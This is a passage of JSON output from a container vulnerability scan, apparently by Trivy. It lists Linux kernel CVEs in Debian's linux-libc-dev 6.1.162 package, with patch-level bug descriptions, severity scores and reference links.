"https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/stable/c/06213c85d8c0994f786c093b8b2a517987943ca6", "https://git.kernel.org/stable/c/110b765744b147c63882f5e9cb12931c5dc8d85f", "https://git.kernel.org/stable/c/3ab32218d7182705dae5c86f13925f458072da2c", "https://git.kernel.org/stable/c/4bb84e964ff0fe0a171c965362de72f9820dbce9", "https://git.kernel.org/stable/c/4e47f1ac188ece11d6fdabe44166a2776cc5bd4e", "https://git.kernel.org/stable/c/c9574b8a8edeb4edd3ac6472c27ef7184bdb2baa", "https://git.kernel.org/stable/c/ec4215683e47424c9c4762fd3c60f552a3119142", "https://linux.oracle.com/cve/CVE-2026-68398.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026081048-CVE-2026-68398-ca73@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68398", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68398" ], "PublishedDate": "2026-08-10T13:20:33.243Z", "LastModifiedDate": "2026-10-19T22:17:17.243Z" }, { "VulnerabilityID": "CVE-2026-68409", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f7a5bec8705f80769ba57f7b736ba50ff0ea6e722871727a92a1321d912429ef", "Title": "kernel: wifi: mac80211: defer link RX stats percpu free to RCU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: defer link RX stats percpu free to RCU\n\nsta_remove_link() frees a removed MLO link's RX stats percpu buffer right\naway, but defers only the link container to RCU:\n\n\tsta_info_free_link(\u0026alloc-\u003einfo);\n\tkfree_rcu(alloc, rcu_head);\n\nThe RX fast path reads link_sta under rcu_read_lock and writes the percpu\nstats. A reader that resolved link_sta before the removal keeps the\npointer. The container stays alive from the kfree_rcu, so the read still\nworks. But the percpu block it points to is already freed. This needs\nuses_rss. That is when pcpu_rx_stats exists.\n\nThe full STA teardown frees the deflink stats only after\nsynchronize_net(). The link removal path had no such barrier. The race is\nhard to win in practice, but the free should still wait for RCU.\n\nFree the link together with its data from a single RCU callback, so the\npercpu block is reclaimed only after readers drain.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-68409", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/stable/c/2aa1789880fa5e41049b0f6a74a4fc2fa1997610", "https://git.kernel.org/stable/c/a03fceae0c65b31ce31840dac5e26684ceecb65b", "https://git.kernel.org/stable/c/a5afc00280986063f1c355821544fabbb2a960f7", "https://git.kernel.org/stable/c/aa2eb62525188269cdd402a583b9a8ed94657ff0", "https://git.kernel.org/stable/c/acd5931d5adf12f0163f83dc00320e7011f4da92", "https://git.kernel.org/stable/c/b679c1cffb2f3d0854b8b05ea9e909ad6489046f", "https://linux.oracle.com/cve/CVE-2026-68409.html", "https://linux.oracle.com/errata/ELSA-2026-83156.html", "https://lore.kernel.org/linux-cve-announce/2026081050-CVE-2026-68409-4c77@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68409", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68409" ], "PublishedDate": "2026-08-10T13:20:34.537Z", "LastModifiedDate": "2026-10-30T13:19:44.847Z" }, { "VulnerabilityID": "CVE-2026-68426", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68426", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:17d565b422094ca4082b6bbf2e591d90964afcac3941bdaa5ab0c6b8412ca7db", "Title": "kernel: xfrm: fix stale skb-\u003eprev after async crypto steals a GSO segment", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: fix stale skb-\u003eprev after async crypto steals a GSO segment\n\nskb_gso_segment() leaves the segment list head with -\u003eprev pointing at\nthe last segment, an invariant validate_xmit_skb_list() relies on when\nit sets its tail pointer (tail = skb-\u003eprev).\n\nWhen validate_xmit_xfrm() walks a GSO list and some segments are stolen\nby async crypto (-\u003exmit() returns -EINPROGRESS), those segments are\nunlinked from the list but the head -\u003eprev is never updated. If the\nlast segment is the one stolen, the returned head still has -\u003eprev\npointing at it, even though it is now owned by the crypto engine and may\nbe freed. validate_xmit_skb_list() later does tail-\u003enext = skb, writing\nthrough that stale pointer -- a use-after-free.\n\nRepoint skb-\u003eprev at the last retained segment before returning.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68426", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/33e1b0d25ca0d2818c635ff80e6aa0d295e08a98", "https://git.kernel.org/stable/c/3f4c3919baf0944ad96580467c302bc6c7758b00", "https://git.kernel.org/stable/c/4927ab8a8acc8db4fad33e803d1d35e0b16cef83", "https://git.kernel.org/stable/c/4e695742396be18d5291c310a3d7c450959d647a", "https://git.kernel.org/stable/c/b58731e0570bfd3989999fc2baf9ee4fecd5bec6", "https://git.kernel.org/stable/c/bbca7cc3b2b4b10afbfee99b81d9ee78f5423046", "https://linux.oracle.com/cve/CVE-2026-68426.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026081053-CVE-2026-68426-9cce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68426", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68426" ], "PublishedDate": "2026-08-10T13:20:36.54Z", "LastModifiedDate": "2026-10-30T13:19:45.277Z" }, { "VulnerabilityID": "CVE-2026-68432", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c4bddf1ecd865f704f3b56560c0f9b81dc8e76436501cd6a0314e6f8381b15b", "Title": "kernel: vxlan: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: require CAP_NET_ADMIN in the device netns for changelink\n\nA tunnel changelink() operates on at most two netns, dev_net(dev) and\nthe sticky underlay netns vxlan-\u003enet. They differ once the device is\ncreated in or moved to a netns other than the one the request runs in.\nThe rtnl changelink path checks CAP_NET_ADMIN only against dev_net(dev),\nso a caller privileged there but not in vxlan-\u003enet can rewrite a vxlan\ndevice whose underlay lives in vxlan-\u003enet.\n\nvxlan_changelink() validates and applies the new configuration against\nvxlan-\u003enet (vxlan_config_validate(vxlan-\u003enet, ...)) and can reopen the\nunderlay socket in that netns, so the same reasoning as the tunnel\nchangelink series applies here.\n\nGate vxlan_changelink() with rtnl_dev_link_net_capable(), at the top of\nthe op before any attribute is parsed, matching ipgre_changelink() and\nthe rest of the \"require CAP_NET_ADMIN in the device netns for\nchangelink\" series.\n\nFound by 0sec automated security-research tooling (https://0sec.ai).", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-68432", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/0aa580a8bbbed2507b4582a1f0ef581d480d06ed", "https://git.kernel.org/stable/c/32d10c46bfde3e9b274e9e1bd6399d0ebea8f60f", "https://git.kernel.org/stable/c/3a61bd9637f3d929aa846e4eb3d98b48c26fcb0e", "https://git.kernel.org/stable/c/730c7e5fea7f06e0cdf21c547222ec93234fd1d6", "https://git.kernel.org/stable/c/7465ade989ba84adc2bfa58bad3ca25d249f0f7a", "https://git.kernel.org/stable/c/b3793d7dccb192ffff29894d11824db6251acdd5", "https://git.kernel.org/stable/c/b95a8743e58f7efed5ddc4cb73829b66f17feab0", "https://git.kernel.org/stable/c/e8ad0d311e225939a9a6c745d6cc384c7364ec87", "https://linux.oracle.com/cve/CVE-2026-68432.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081254-CVE-2026-68432-30f2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68432", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68432" ], "PublishedDate": "2026-08-12T00:17:43.29Z", "LastModifiedDate": "2026-10-19T22:17:18.987Z" }, { "VulnerabilityID": "CVE-2026-68457", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68457", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:108729fdfe93c00242f071a1f3d9b51eb43ef5128586e9018d75cea3d5e168e7", "Title": "kernel: ksmbd: use opener credentials for FSCTL mutations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: use opener credentials for FSCTL mutations\n\nSET_SPARSE, 